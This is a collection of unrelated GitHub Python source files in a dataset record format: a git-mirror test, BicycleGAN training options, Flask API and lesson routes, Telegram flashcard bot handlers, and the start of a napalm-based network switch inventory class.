self.repo_manager.parse_service(\"gitee\")\n # run twice, 1st for init, 2nd for update\n for num in range(0,2):\n self.repo_manager.mirror_service(\"gitee\")\n self.assertTrue(exists(join(self.data_dir, 'gitee')))\n self.assertTrue(exists(join(\n self.data_dir,\n 'gitee',\n md5(\"d12y12/temp\".encode()).hexdigest()\n )))\n self.assertTrue(exists(join(\n self.data_dir,\n 'gitee',\n md5(\"d12y12/temp\".encode()).hexdigest(),\n 'temp.git'\n )))\n self.assertTrue(filecmp.cmp(join(self.test_data_dir, 'gitee.repo'), \n join(self.data_dir, 'gitee', 'gitee.repo')))\n\n @classmethod\n def tearDownClass(cls):\n dst_dir = cls.setting['DATABASE_DIR']\n for sub_dir in listdir(dst_dir):\n if sub_dir == 'example':\n continue\n sub_dir = join(dst_dir, sub_dir)\n if isdir(sub_dir):\n rmtree(sub_dir)\n else:\n remove(sub_dir)\n for dst_dir in [cls.setting['BACKUP_DIR'], cls.setting['LOG_DIR'], cls.setting['DATA_DIR']]: \n if exists(dst_dir):\n rmtree(dst_dir, onerror=onerror)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"d12y12/GitMirror","sub_path":"tests/test_mirror.py","file_name":"test_mirror.py","file_ext":"py","file_size_in_byte":5288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3022754533","text":"import argparse\nimport os\nfrom util import util\nimport torch\nimport models\nimport data\n\n\nclass BaseOptions():\n def __init__(self):\n self.initialized = False\n\n def initialize(self, parser):\n \"\"\"This class defines options used during both training and test time.\n\n It also implements several helper functions such as parsing, printing, and saving the options.\n It also gathers additional options defined in functions in both dataset class and model class.\n \"\"\"\n parser.add_argument('--dataroot', required=True, help='path to images (should have subfolders trainA, trainB, valA, valB, etc)')\n parser.add_argument('--batch_size', type=int, default=2, help='input batch size')\n parser.add_argument('--load_size', type=int, default=286, help='scale images to this size')\n parser.add_argument('--crop_size', type=int, default=256, help='then crop to this size')\n parser.add_argument('--input_nc', type=int, default=3, help='# of input image channels')\n parser.add_argument('--output_nc', type=int, default=3, help='# of output image channels')\n parser.add_argument('--nz', type=int, default=8, help='#latent vector')\n parser.add_argument('--gpu_ids', type=str, default='0', help='gpu ids: e.g. 0 0,1,2, 0,2, -1 for CPU mode')\n parser.add_argument('--name', type=str, default='', help='name of the experiment. It decides where to store samples and models')\n parser.add_argument('--preprocess', type=str, default='resize_and_crop', help='not implemented')\n parser.add_argument('--dataset_mode', type=str, default='aligned', help='aligned,single')\n parser.add_argument('--model', type=str, default='bicycle_gan', help='chooses which model to use. bicycle,, ...')\n parser.add_argument('--direction', type=str, default='AtoB', help='AtoB or BtoA')\n parser.add_argument('--epoch', type=str, default='latest', help='which epoch to load? set to latest to use latest cached model')\n parser.add_argument('--num_threads', default=4, type=int, help='# sthreads for loading data')\n parser.add_argument('--checkpoints_dir', type=str, default='./checkpoints', help='models are saved here')\n parser.add_argument('--serial_batches', action='store_true', help='if true, takes images in order to make batches, otherwise takes them randomly')\n parser.add_argument('--use_dropout', action='store_true', help='use dropout for the generator')\n parser.add_argument('--max_dataset_size', type=int, default=float(\"inf\"), help='Maximum number of samples allowed per dataset. If the dataset directory contains more than max_dataset_size, only a subset is loaded.')\n parser.add_argument('--no_flip', action='store_true', help='if specified, do not flip the images for data argumentation')\n\n # model parameters\n parser.add_argument('--num_Ds', type=int, default=2, help='number of Discrminators')\n parser.add_argument('--netD', type=str, default='basic_256_multi', help='selects model to use for netD')\n parser.add_argument('--netD2', type=str, default='basic_256_multi', help='selects model to use for netD2')\n parser.add_argument('--netG', type=str, default='unet_256', help='selects model to use for netG')\n parser.add_argument('--netE', type=str, default='resnet_256', help='selects model to use for netE')\n parser.add_argument('--nef', type=int, default=64, help='# of encoder filters in the first conv layer')\n parser.add_argument('--ngf', type=int, default=64, help='# of gen filters in the last conv layer')\n parser.add_argument('--ndf', type=int, default=64, help='# of discrim filters in the first conv layer')\n parser.add_argument('--norm', type=str, default='instance', help='instance normalization or batch normalization')\n parser.add_argument('--upsample', type=str, default='basic', help='basic | bilinear')\n parser.add_argument('--nl', type=str, default='relu', help='non-linearity activation: relu | lrelu | elu')\n\n # extra parameters\n parser.add_argument('--where_add', type=str, default='all', help='input|all|middle; where to add z in the network G')\n parser.add_argument('--conditional_D', action='store_true', help='if use conditional GAN for D')\n parser.add_argument('--init_type', type=str, default='xavier', help='network initialization [normal | xavier | kaiming | orthogonal]')\n parser.add_argument('--init_gain', type=float, default=0.02, help='scaling factor for normal, xavier and orthogonal.')\n parser.add_argument('--center_crop', action='store_true', help='if apply for center cropping for the test')\n parser.add_argument('--verbose', action='store_true', help='if specified, print more debugging information')\n parser.add_argument('--suffix', default='', type=str, help='customized suffix: opt.name = opt.name + suffix: e.g., {model}_{netG}_size{load_size}')\n parser.add_argument('--display_winsize', type=int, default=256, help='display window size')\n\n # special tasks\n self.initialized = True\n return parser\n\n def gather_options(self):\n \"\"\"Initialize our parser with basic options(only once).\n Add additional model-specific and dataset-specific options.\n These options are difined in the function\n in model and dataset classes.\n \"\"\"\n if not self.initialized: # check if it has been initialized\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser = self.initialize(parser)\n\n # get the basic options\n opt, _ = parser.parse_known_args()\n\n # modify model-related parser options\n model_name = opt.model\n model_option_setter = models.get_option_setter(model_name)\n parser = model_option_setter(parser, self.isTrain)\n opt, _ = parser.parse_known_args() # parse again with new defaults\n\n # modify dataset-related parser options\n dataset_name = opt.dataset_mode\n dataset_option_setter = data.get_option_setter(dataset_name)\n parser = dataset_option_setter(parser, self.isTrain)\n\n # save and return the parser\n self.parser = parser\n return parser.parse_args()\n\n def print_options(self, opt):\n \"\"\"Print and save options\n\n It will print both current options and default values(if different).\n It will save options into a text file / [checkpoints_dir] / opt.txt\n \"\"\"\n message = ''\n message += '----------------- Options ---------------\\n'\n for k, v in sorted(vars(opt).items()):\n comment = ''\n default = self.parser.get_default(k)\n if v != default:\n comment = '\\t[default: %s]' % str(default)\n message += '{:>25}: {:<30}{}\\n'.format(str(k), str(v), comment)\n message += '----------------- End -------------------'\n print(message)\n\n # save to the disk\n expr_dir = os.path.join(opt.checkpoints_dir, opt.name)\n util.mkdirs(expr_dir)\n file_name = os.path.join(expr_dir, 'opt.txt')\n with open(file_name, 'wt') as opt_file:\n opt_file.write(message)\n opt_file.write('\\n')\n\n def parse(self):\n \"\"\"Parse our options, create checkpoints directory suffix, and set up gpu device.\"\"\"\n opt = self.gather_options()\n opt.isTrain = self.isTrain # train or test\n\n # process opt.suffix\n if opt.suffix:\n suffix = ('_' + opt.suffix.format(**vars(opt))) if opt.suffix != '' else ''\n opt.name = opt.name + suffix\n\n self.print_options(opt)\n\n # set gpu ids\n str_ids = opt.gpu_ids.split(',')\n opt.gpu_ids = []\n for str_id in str_ids:\n id = int(str_id)\n if id >= 0:\n opt.gpu_ids.append(id)\n if len(opt.gpu_ids) > 0:\n torch.cuda.set_device(opt.gpu_ids[0])\n\n self.opt = opt\n return self.opt\n","repo_name":"junyanz/BicycleGAN","sub_path":"options/base_options.py","file_name":"base_options.py","file_ext":"py","file_size_in_byte":8116,"program_lang":"python","lang":"en","doc_type":"code","stars":1438,"dataset":"github-code","pt":"62"} +{"seq_id":"12683160547","text":"#!/usr/bin/env python2.7\n# -*- coding: utf-8 -*-\nfrom flask import Blueprint, jsonify\n\nfrom kb14.api import missing\nfrom kb14.backends.key import Key\n\n\nkey = Blueprint(\"key\", __name__)\n\n\n@key.route(\"/keys\", methods=[\"GET\"])\ndef get_keys():\n data = [{\"date\": k.date, \"keyboard\": k.keyboard, \"name\": k.name}\n for k in Key.list()]\n return jsonify(data=data)\n\n\n@key.route(\"/key/\", methods=[\"GET\"])\ndef get_key(name):\n data = [{\"date\": k.date, \"keyboard\": k.keyboard}\n for k in Key.list(name=name)] or missing(\"key\")\n return jsonify(data=data)\n\n\n__all__ = [\"key\", \"get_keys\", \"get_key\"]\n","repo_name":"numberly/europython2014","sub_path":"kb14-api/kb14/api/key.py","file_name":"key.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"75034259716","text":"from flask import Blueprint, render_template\nfrom flask_login import current_user\nfrom werkzeug.exceptions import abort\n\nfrom services.web.core import interpretlesson\nfrom services.web.website import cache\nfrom services.web.website.models import database\nfrom services.web.website.models.lesson_models import Lesson, Folder\n\nlesson = Blueprint(\"lesson\", __name__)\n\n\nclass LessonCardInfo:\n \"\"\"\n Card info for a lesson\n \"\"\"\n\n def __init__(self, title, subtitle, link, image, lesson_id):\n self.title = title\n self.subtitle = subtitle\n self.image = image\n self.link = link\n self.lesson_id = lesson_id\n\n def __eq__(self, other):\n if (\n (self.title != other.title)\n or (self.subtitle != other.subtitle)\n or (self.image != other.image)\n or (self.link != other.link)\n or (self.lesson_id != other.lesson_id)\n ):\n return False\n return True\n\n\n@lesson.route(\"/learn\", endpoint=\"learn\")\n@cache.cached(timeout=1)\ndef learn():\n lessons_for_you = []\n all_lessons_temp = Lesson.query.all()\n all_lessons = []\n for item in all_lessons_temp:\n all_lessons.append(\n LessonCardInfo(\n item.title,\n item.subtitle,\n \"/lesson/\" + str(item.lesson_id),\n item.image,\n item.lesson_id,\n )\n )\n all_folders_temp = Folder.query.filter_by(parent_folder_id=0).all()\n all_folders = []\n for item in all_folders_temp:\n all_folders.append(\n LessonCardInfo(\n item.title,\n item.subtitle,\n \"/folder/\" + str(item.folder_id),\n item.image,\n item.folder_id,\n )\n )\n return render_template(\n \"learn/learn.jinja\",\n lessons_for_you=lessons_for_you,\n all_lessons=all_lessons,\n all_folders=all_folders,\n )\n\n\n# lessons\n@lesson.route(\"/lesson//\")\n@cache.cached(timeout=3600)\ndef access_lesson(lesson_id: str):\n \"\"\"\n :type lesson_id: int\n \"\"\"\n lesson_id = str(lesson_id)\n while len(lesson_id) < 5:\n lesson_id = \"0\" + lesson_id\n lesson_to_render = Lesson.query.filter_by(lesson_id=lesson_id).first()\n if lesson_to_render is None:\n return abort(404)\n if current_user.is_authenticated:\n current_user.top_progress += \",\" + str(lesson_to_render.id)\n current_user.full_progress += \",\" + str(lesson_to_render.id)\n database.session.commit()\n lesson_to_render = interpretlesson.Lesson(\n lesson_to_render.lesson_id,\n lesson_to_render.title,\n lesson_to_render.subtitle,\n lesson_to_render.image,\n lesson_to_render.body,\n lesson_to_render.goes_to,\n lesson_to_render.questions,\n )\n return render_template(\"learn/card_temp.jinja\", l=lesson_to_render)\n\n\n@lesson.route(\"/folder//\")\ndef view_folder(folder_id: int):\n folder_to_render = Folder.query.filter_by(folder_id=folder_id).first()\n lessons_in_folder = Lesson.query.filter_by(folder_id=folder_id).all()\n folders_in_folder = Folder.query.filter_by(parent_folder_id=folder_id).all()\n if folder_to_render is None:\n abort(404)\n else:\n return render_template(\n \"learn/folder_temp.jinja\",\n f=folder_to_render,\n lif=lessons_in_folder,\n fif=folders_in_folder,\n )\n","repo_name":"coding-for-kidz/web","sub_path":"website/bp/lesson.py","file_name":"lesson.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71741624837","text":"import fsm\n\nimport message_handlers.add_item_audio\nimport message_handlers.add_item_text\nimport message_handlers.add_item_image\n\n\nfrom utilities import string_treating, bot_utils\nfrom Flashcard import StudyItemDeck, Card\nfrom utilities.bot_utils import get_id\nfrom queue import Queue\nimport logging\n\n\n\nimport sys\ndef prepare_to_receive(user, content_type):\n\tuser_id = user.get_id()\n\tif content_type == '1':\n\t\tuser.send_message(\"#ask_to_send_image\")\n\t\tuser.send_message(\"#send_image_hint\")\n\telif content_type == '2':\n\t\tuser.send_message(\"#ask_to_send_audio\")\n\t\tuser.send_message(\"#send_audio_hint\")\n\telif content_type == '0':\n\t\tuser.send_message(\"#ask_to_send_text\")\n\ndef save_word(user):\n\tstudy_item_deck = user.temp_study_item\n\tsubject = study_item_deck.subject\n\ttopic = study_item_deck.topic\n\n\tactive_topic = user.is_topic_active(subject, topic)\n\tactive_subject = user.is_subject_active(subject)\n\tactive_item = 0\n\tif active_topic == None and active_subject == None:\n\t\tactive_item = 1\n\telif active_topic == None and active_subject != None and active_subject > 0:\n\t\tactive_item = 1\n\telif active_topic != None and active_subject != None and active_topic > 0 and active_subject > 0:\n\t\tactive_item = 1\n\n\tstudy_item_deck.active = active_item\n\tfor key in study_item_deck.cards.keys():\n\t\tstudy_item_deck.cards[key].active = active_item\n\n\tuser.add_study_item_deck(study_item_deck)\n\tif active_item:\n\t\tuser.send_message(\"#add_item_active_success\")\n\telse:\n\t\tuser.send_message(\"#add_item_unactive_success\")\n\t\t\n\n\ndef handle_add_item(bot, user_manager, debug_mode):\n\n\t#=====================ADD WORD=====================\n\t@bot.message_handler(func = lambda msg:\n\t\t\t\t\t(user_manager.get_user(get_id(msg)).get_state() == fsm.IDLE and\n\t\t\t\t\t user_manager.get_user(get_id(msg)).get_active() == 1), \n\t\t\t\t\tcommands = ['add_item'])\n\tdef ADD_ITEM(msg):\n\t\t\"\"\"\n\t\t\tAdd word: Get word sequence\n\t\t\"\"\"\n\t\tuser_id = get_id(msg)\n\t\tuser = user_manager.get_user(user_id)\n\t\tuser.set_state(fsm.LOCKED)\n\t\tlogger = user.logger\n\n\t\tknown_subjects = user.get_subjects()\n\t\toptions = []\n\t\tfor option in known_subjects:\n\t\t\toptions.append(option[0])\n\n\t\tuser.send_message(\"#add_item_initial_hint\")\n\t\tuser.send_message(\"#add_item_subject_intro\")\n\t\tif len(known_subjects) == 0:\n\t\t\tuser.send_string_keyboard(\"#add_item_no_subjects\", options)\n\t\telse:\n\t\t\tuser.send_string_keyboard(\"#list_subjects\", options)\t\t\n\t\tuser.set_state(fsm.next_state[fsm.IDLE]['add_item'])\n\n\n\t@bot.message_handler(func = lambda msg:\n\t\t\t\t\tuser_manager.get_user(get_id(msg)).get_state() == (fsm.ADD_ITEM, fsm.GET_SUBJECT),\n\t\t\t\t\tcontent_types=['text'])\n\tdef ADD_ITEM1(msg):\n\t\t\"\"\"\n\t\t\tAdd word: Get word's language\n\t\t\"\"\"\n\t\tuser_id = get_id(msg)\n\t\tuser = user_manager.get_user(user_id)\n\t\tuser.set_state(fsm.LOCKED)\n\t\tlogger = user.logger\n\n\t\tvalid, subject, keyboard_option, keyboard_len = user.parse_keyboard_ans(msg)\n\n\t\tuser.send_message(\"#item_subject\", (subject,))\n\t\tuser.send_message(\"#add_item_topic_intro\")\n\n\t\tknown_topics = user.get_topics(subject)\n\t\ttopics = []\n\t\tfor topic in known_topics:\n\t\t\ttopics.append(topic[0])\n\t\ttopics.sort()\n\n\t\tif len(topics) > 0:\n\t\t\tuser.send_string_keyboard(\"#list_topics\", topics)\n\t\telse: \n\t\t\tuser.send_string_keyboard(\"#add_item_no_topics\", topics)\n\t\tuser.temp_study_item = StudyItemDeck(user_id, user.get_highest_study_item_id() + 1, 0, subject)\n\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.GET_SUBJECT)]['done'])\n\n\n\t@bot.message_handler(func = lambda msg:\n\t\t\t\t\tuser_manager.get_user(get_id(msg)).get_state() == (fsm.ADD_ITEM, fsm.GET_TOPIC), \n\t\t\t\t\tcontent_types=['text'])\n\tdef ADD_ITEM2(msg):\n\t\t\"\"\"\n\t\t\tAdd word: Get topic\n\t\t\"\"\"\n\t\t\n\t\tuser_id = get_id(msg)\n\t\tuser = user_manager.get_user(user_id)\n\t\tuser.set_state(fsm.LOCKED)\n\t\tlogger = user.logger\n\t\t\n\t\tvalid, topic, keyboard_option, keyboard_len = user.parse_keyboard_ans(msg)\n\n\t\tif len(topic) >= 45:\n\t\t\tuser.send_message(\"#character_exceeded\", (45, len(topic)))\n\t\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.GET_TOPIC)]['error'])\n\t\t\treturn\n\n\t\tif len(topic) == 0:\n\t\t\tuser.send_message(\"#character_null\")\n\t\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.GET_TOPIC)]['error'])\n\t\t\treturn\n\n\t\tsubject = user.temp_study_item.subject\n\t\tuser.temp_study_item.topic = topic\n\t\tuser.send_message(\"#item_topic\", (topic,)) \n\t\tuser.send_message(\"#add_item_ask_study_item\", (subject, )) \n\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.GET_TOPIC)]['done'])\n\n\n\t@bot.message_handler(func = lambda msg:\n\t\t\t\t\tuser_manager.get_user(get_id(msg)).get_state() == (fsm.ADD_ITEM, fsm.GET_STUDY_ITEM), \n\t\t\t\t\tcontent_types=['text'])\n\tdef ADD_ITEM3(msg):\n\t\t\"\"\"\n\t\t\tAdd word: Get foreign word\n\t\t\"\"\"\n\t\tuser_id = get_id(msg)\n\t\tuser = user_manager.get_user(user_id)\n\t\tuser.set_state(fsm.LOCKED)\n\t\tlogger = user.logger\n\n\t\tstudy_item_text = string_treating.treat_special_chars(msg.text)\n\t\tif len(study_item_text) >= 190:\n\t\t\tuser.send_message(\"#character_exceeded\", (190, len(study_item_text)))\n\t\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.GET_STUDY_ITEM)]['error'])\n\t\t\treturn\n\n\t\tif len(study_item_text) == 0:\n\t\t\tuser.send_message(\"#character_null\")\n\t\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.GET_STUDY_ITEM)]['error'])\n\t\t\treturn\n\n\t\tif study_item_text == \"&img\":\n\t\t\tuser.send_message(\"#add_item_get_study_item_1\"), \n\t\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.GET_STUDY_ITEM)]['study item 1'])\n\t\t\treturn\n\n\t\tuser.temp_study_item.set_study_item(study_item_text, 0)\n\t\tstudy_item_deck = user.temp_study_item\n\n\t\texist, aux_study_item_id = user.check_study_item_existence(study_item_deck.subject, study_item_deck.topic, study_item_deck.study_item)\n\t\tif exist == True:\n\t\t\tuser.send_message(\"#add_item_study_item_already_exists\")\n\t\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.GET_STUDY_ITEM)]['error_idle'])\n\t\t\treturn\n\n\n\t\toptions = ['Send text',\n\t\t\t\t 'Send image', \n\t\t\t\t 'Send audio']\n\n\t\tuser.send_selection_inline_keyboard(\"#add_item_relate_menu\", options, \n\t\t\ttranslate_options=True, empty_keyboard_text=\"#add_item_relate_menu_empty\", no_empty_flag=True)\n\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.GET_STUDY_ITEM)]['done'])\n\n\t@bot.message_handler(func = lambda msg:\n\t\t\t\t\tuser_manager.get_user(get_id(msg)).get_state() == (fsm.ADD_ITEM, fsm.GET_IMAGE), \n\t\t\t\t\tcontent_types=['photo'])\n\tdef ADD_ITEM4(msg):\n\t\t\"\"\"\n\t\t\tAdd word: Get foreign word\n\t\t\"\"\"\n\t\tuser_id = get_id(msg)\n\t\tuser = user_manager.get_user(user_id)\n\t\tuser.set_state(fsm.LOCKED)\n\t\tlogger = user.logger\n\t\t\n\t\tstudy_item_deck = user.temp_study_item\n\n\t\tfilename = \"study_item\"\n\t\tif debug_mode:\n\t\t\tdebug_mode_text = \"_debug\"\n\t\telse:\n\t\t\tdebug_mode_text = \"\"\n\t\tpath = user.save_image(msg,\n\t\t\t\t\t\t\t\t\"../data{}/{}/{}/\".format(debug_mode_text, user_id, study_item_deck.study_item_id), \n\t\t\t\t\t\t\t\tfilename)\n\n\t\tuser.temp_study_item.set_study_item(path, 1)\n\n\t\toptions = ['Send text']\n\t\tuser.send_selection_inline_keyboard(\"#add_item_relate_menu\", options, \n\t\t\ttranslate_options=True, empty_keyboard_text=\"#add_item_relate_menu_empty\", no_empty_flag=True)\n\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.GET_IMAGE)]['done'])\n\n\n\t@bot.callback_query_handler(func=lambda call:\n\t\t\t\t\t\t\tuser_manager.get_user(get_id(call.message)).get_state() == (fsm.ADD_ITEM, fsm.RELATE_MENU))\n\n\tdef callback_select_words(call):\n\n\t\tuser_id = get_id(call.message)\n\t\tuser = user_manager.get_user(user_id)\n\t\tuser.set_state(fsm.LOCKED)\n\t\tlogger = user.logger\n\n\t\tdone, btn_set, btn = user.parse_keyboard_ans(call)\n\t\t\n\t\tif done == True:\n\t\t\tuser.receive_queue = Queue()\n\t\t\tfor i in btn_set:\n\t\t\t\tuser.receive_queue.put(btn[i][1])\t\t\t\t\t\n\t\t\tcontent_type = user.receive_queue.get()\n\t\t\tprepare_to_receive(user, content_type)\n\t\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.RELATE_MENU)][content_type])\n\t\telse:\n\t\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.RELATE_MENU)]['continue'])\n\n\t\n\t#=================GET AUDIO=================\n\tmessage_handlers.add_item_audio.handle_add_item_audio(bot, user_manager, debug_mode)\n\n\t#=================GET TEXT=================\n\tmessage_handlers.add_item_text.handle_add_item_text(bot, user_manager, debug_mode)\n\n\t#=================GET IMAGES=================\n\tmessage_handlers.add_item_image.handle_add_item_image(bot, user_manager, debug_mode)\n\t\n\t\n\t@bot.message_handler(func = lambda msg:\n\t\t\t\t\tuser_manager.get_user(get_id(msg)).get_state() == (fsm.ADD_ITEM, fsm.GET_CONTINUE), \n\t\t\t\t\tcontent_types=['text'])\n\tdef ADD_ITEM5(msg):\n\n\t\tuser_id = get_id(msg)\n\t\tuser = user_manager.get_user(user_id)\n\t\tuser.set_state(fsm.LOCKED)\n\t\tlogger = user.logger\n\n\t\tvalid, should_continue, keyboard_option, keyboard_len = user.parse_keyboard_ans(msg)\n\t\tif valid == False:\n\t\t\tuser.send_message(\"#choose_from_keyboard\", markup=None)\n\t\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.GET_CONTINUE)]['error'])\n\t\t\treturn\n\t\t\t\n\t\tif keyboard_option == 1:\n\t\t\tuser.send_message(\"#ok\")\n\t\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.GET_CONTINUE)]['done'])\n\t\t\treturn\n\n\t\tstudy_item = user.temp_study_item\n\t\tsubject = study_item.get_subject()\n\t\ttopic = study_item.get_topic()\n\n\t\tuser.send_message(\"#item_topic\", (topic, )) \n\t\tuser.send_message(\"#add_item_ask_study_item\", (subject, )) \n\n\t\tuser.temp_study_item = StudyItemDeck(user_id, user.get_highest_study_item_id() + 1, 0, subject)\n\t\tuser.temp_study_item.topic = topic\n\t\t\n\t\tuser.set_state(fsm.next_state[(fsm.ADD_ITEM, fsm.GET_CONTINUE)]['continue'])\n","repo_name":"tiagonapoli/LearnIt","sub_path":"src/message_handlers/add_item.py","file_name":"add_item.py","file_ext":"py","file_size_in_byte":9265,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"62"} +{"seq_id":"17498244402","text":"import datetime\nimport ipaddress\nimport logging\nimport os\nfrom typing import Dict, List, Optional, Union\n\nimport napalm\nimport textfsm\nfrom ciscoconfparse import CiscoConfParse\nfrom netaddr import EUI\n\nfrom netwalk.interface import Interface\nfrom netwalk.libs import interface_name_expander\n\n\nclass Device():\n \"Device type\"\n hostname: str\n #: Dict of {name: Interface}\n interfaces: Dict[str, 'Interface']\n discovery_status: Optional[Union[str, datetime.datetime]]\n fabric: 'Fabric'\n mgmt_address: Union[ipaddress.ip_address, str]\n facts: dict\n\n def __init__(self, mgmt_address, **kwargs) -> None:\n if isinstance(mgmt_address, str):\n try:\n self.mgmt_address = ipaddress.ip_address(mgmt_address)\n except ValueError:\n self.mgmt_address = None\n else:\n self.mgmt_address = mgmt_address\n\n self.hostname: str = kwargs.get('hostname', mgmt_address)\n self.interfaces: Dict[str, 'Interface'] = kwargs.get('interfaces', {})\n self.discovery_status = kwargs.get('discovery_status', None)\n self.fabric: 'Fabric' = kwargs.get('fabric', None)\n self.facts: dict = kwargs.get('facts', None)\n if self.hostname is None:\n self.logger = logging.getLogger(__name__ + str(self.mgmt_address))\n else:\n self.logger = logging.getLogger(__name__ + self.hostname)\n\n if self.fabric is not None:\n if self.hostname is None:\n self.fabric.devices[str(self.mgmt_address)] = self\n else:\n self.fabric.devices[self.hostname] = self\n\n def add_interface(self, intobject: Interface):\n \"\"\"Add interface to device\n\n :param intobject: Interface to add\n :type intobject: netwalk.Interface\n \"\"\"\n intobject.device = self\n self.interfaces[intobject.name] = intobject\n\n if type(self) == Switch:\n for _, v in self.interfaces.items():\n v.parse_config(second_pass=True)\n\n def promote_to_switch(self):\n self.__class__ = Switch\n self.__init__(mgmt_address=self.mgmt_address,\n hostname=self.hostname,\n interfaces=self.interfaces,\n discovery_status=self.discovery_status,\n fabric=self.fabric,\n facts=self.facts)\n\n\nclass Switch(Device):\n \"\"\"\n Switch object to hold data\n Initialize with name and hostname, call retrieve_data()\n to connect to device and retrieve automaticlly or\n pass config as string to parse locally\n \"\"\"\n\n INTERFACE_TYPES = r\"([Pp]ort-channel|\\w*Ethernet|\\w*GigE|Vlan|Loopback).\"\n INTERFACE_FILTER = r\"^interface \" + INTERFACE_TYPES\n\n logger: logging.Logger\n hostname: str\n #: Dict of {name: Interface}\n interfaces: Dict[str, Interface]\n #: Pass at init time to parse config automatically\n config: Optional[str]\n napalm_optional_args: dict\n #: Time of object initialization. All timers will be calculated from it\n inventory: List[Dict[str, Dict[str, str]]]\n vtp: Optional[str]\n arp_table: Dict[ipaddress.IPv4Interface, dict]\n interfaces_ip: dict\n vlans: Optional[Dict[int, dict]]\n vlans_set: set\n local_admins: Optional[Dict[str, dict]]\n timeout: int\n mac_table: dict\n\n def __init__(self,\n mgmt_address,\n **kwargs):\n\n super().__init__(mgmt_address, **kwargs)\n self.config: Optional[str] = kwargs.get('config', None)\n self.napalm_optional_args = kwargs.get('napalm_optional_args', None)\n self.vtp: Optional[str] = None\n self.arp_table: Dict[ipaddress.IPv4Interface, dict] = {}\n self.interfaces_ip = {}\n self.vlans: Optional[Dict[int, dict]] = None\n # VLANs configured on the switch\n self.vlans_set = {x for x in range(1, 4095)}\n self.local_admins: Optional[Dict[str, dict]] = None\n self.timeout = 30\n self.mac_table = {}\n self.platform = kwargs.get('platfomr', 'ios')\n\n if self.config is not None:\n self._parse_config()\n\n def retrieve_data(self,\n username: str,\n password: str,\n napalm_optional_args: dict = None,\n scan_options: dict = None):\n \"\"\"\n One-stop function to get data from switch.\n\n :param username: username\n :type username: str\n :param password: password\n :type password: str\n :param napalm_optional_args: Refer to Napalm's documentation\n :type napalm_optional_args: dict\n :param scan_options: Valid keys are 'whitelist' and 'blacklist'. Value must be a list of options to pass to _get_switch_data\n :type scan_options: dict(str, list(str))\n \"\"\"\n\n self.napalm_optional_args = {} if napalm_optional_args is None else napalm_optional_args\n scan_options = {} if scan_options is None else scan_options\n\n self.connect(username, password, napalm_optional_args)\n try:\n self._get_switch_data(**scan_options)\n except Exception as e:\n self.session.close()\n raise e\n\n else:\n self.session.close()\n\n def connect(self, username: str, password: str, napalm_optional_args: dict = None) -> None:\n \"\"\"Connect to device\n\n :param username: username\n :type username: str\n :param password: password\n :type password: str\n :param napalm_optional_args: Check Napalm's documentation about optional-args, defaults to None\n :type napalm_optional_args: dict, optional\n \"\"\"\n driver = napalm.get_network_driver(self.platform)\n\n if napalm_optional_args is not None:\n self.napalm_optional_args = napalm_optional_args\n\n self.session = driver(str(self.mgmt_address),\n username=username,\n password=password,\n timeout=self.timeout,\n optional_args=self.napalm_optional_args)\n\n self.logger.info(\"Connecting to %s\", self.mgmt_address)\n self.session.open()\n\n def get_active_vlans(self):\n \"\"\"Get active vlans from switch.\n Only lists vlans configured on ports\n\n :return: [description]\n :rtype: [type]\n \"\"\"\n vlans = set([1])\n for _, intdata in self.interfaces.items():\n vlans.add(intdata.native_vlan)\n try:\n if len(intdata.allowed_vlan) != 4094:\n vlans = vlans.union(intdata.allowed_vlan)\n except (AttributeError, TypeError):\n continue\n\n # Find trunk interfaces with no neighbors\n noneightrunks = []\n for intdata in self.interfaces.values():\n if intdata.mode == \"trunk\":\n try:\n assert not isinstance(intdata.neighbors[0], Interface)\n except (IndexError, AssertionError, AttributeError):\n # Interface has explicit neighbor, exclude\n continue\n\n noneightrunks.append(intdata)\n\n # Find if interface has mac addresses\n activevlans = set()\n for macdata in self.mac_table.values():\n if macdata['interface'] == intdata:\n activevlans.add(macdata['vlan'])\n\n vlans = vlans.union(activevlans)\n\n # Add vlans with layer3 configured\n for intdata in self.interfaces.values():\n if \"vlan\" in intdata.name.lower():\n if intdata.is_enabled:\n vlanid = int(intdata.name.lower().replace(\"vlan\", \"\"))\n vlans.add(vlanid)\n\n # Remove vlans not explicitly configured\n vlans.intersection_update(self.vlans_set)\n return vlans\n\n def _parse_config(self):\n \"\"\"Parse show run\n \"\"\"\n if isinstance(self.config, str):\n parsed_conf = CiscoConfParse(self.config.split(\"\\n\"))\n interface_config_list: list = parsed_conf.find_objects(\n self.INTERFACE_FILTER)\n\n for intf in interface_config_list:\n thisint = Interface(config=intf.ioscfg)\n localint = self.interfaces.get(thisint.name, None)\n if localint is not None:\n localint.config = intf.ioscfg\n localint.parse_config()\n else:\n thisint.parse_config()\n self.add_interface(thisint)\n\n else:\n TypeError(\"No interface loaded, cannot parse\")\n\n def _get_switch_data(self,\n whitelist: Optional[List[str]] = None,\n blacklist: Optional[List[str]] = None):\n \"\"\"\n Get data from switch.\n If no argument is passed, scan all modules\n\n :param whitelist: List of modules to scan, defaults to None\n :type whitelist: list(str)\n :param blacklist: List of modules to exclude from scan, defaults to None\n 